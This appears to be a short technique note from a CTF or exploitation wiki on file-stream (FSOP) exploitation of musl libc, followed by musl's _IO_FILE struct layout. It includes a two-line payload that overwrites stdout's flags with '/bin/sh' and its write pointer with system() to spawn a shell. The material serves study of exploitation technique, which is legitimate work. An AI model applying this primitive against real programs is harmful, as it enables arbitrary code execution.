Musl code is in general, simpler than glibc. Same applies to stdio code.
As a result, musl fsop exploitation is also simpler than [[7734a66b|glibc fsop]].
There’s no vtable, no encoded ptrs, etc. So you can just overwrite any of three
function pointers and get rip control.
RIP Control
Overwrite STDOUT:
PY
Copy
1
2
asq [ 0x00 ] = b "E;/bin/sh" # overwrite `flags`
asq [ 0x0B ] = mus . sym [ "system" ] # overwrite `write`
Reference
C
Copy
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
// src/internal/stdio_impl.h
// Size: 232 bytes (0xe8 bytes), alignment 8 bytes
struct _IO_FILE {
unsigned flags ;
unsigned char * rpos , * rend ;
int ( * close )( FILE * );
unsigned char * wend , * wpos ;
unsigned char * mustbezero_1 ;
unsigned char * wbase ;
size_t ( * read )( FILE * , unsigned char * , size_t );
size_t ( * write )( FILE * , const unsigned char * , size_t );
off_t ( * seek )( FILE * , off_t , int );
unsigned char * buf ;
size_t buf_size ;
FILE * prev , * next ;
int fd ;
int pipe_pid ;
long lockcount ;
int mode ;
volatile int lock ;
int lbf ;
void * cookie ;
off_t off ;
char * getln_buf ;
void * mustbezero_2 ;
unsigned char * shend ;
off_t shlim , shcnt ;
FILE * prev_locked , * next_locked ;
struct __locale_struct * locale ;
};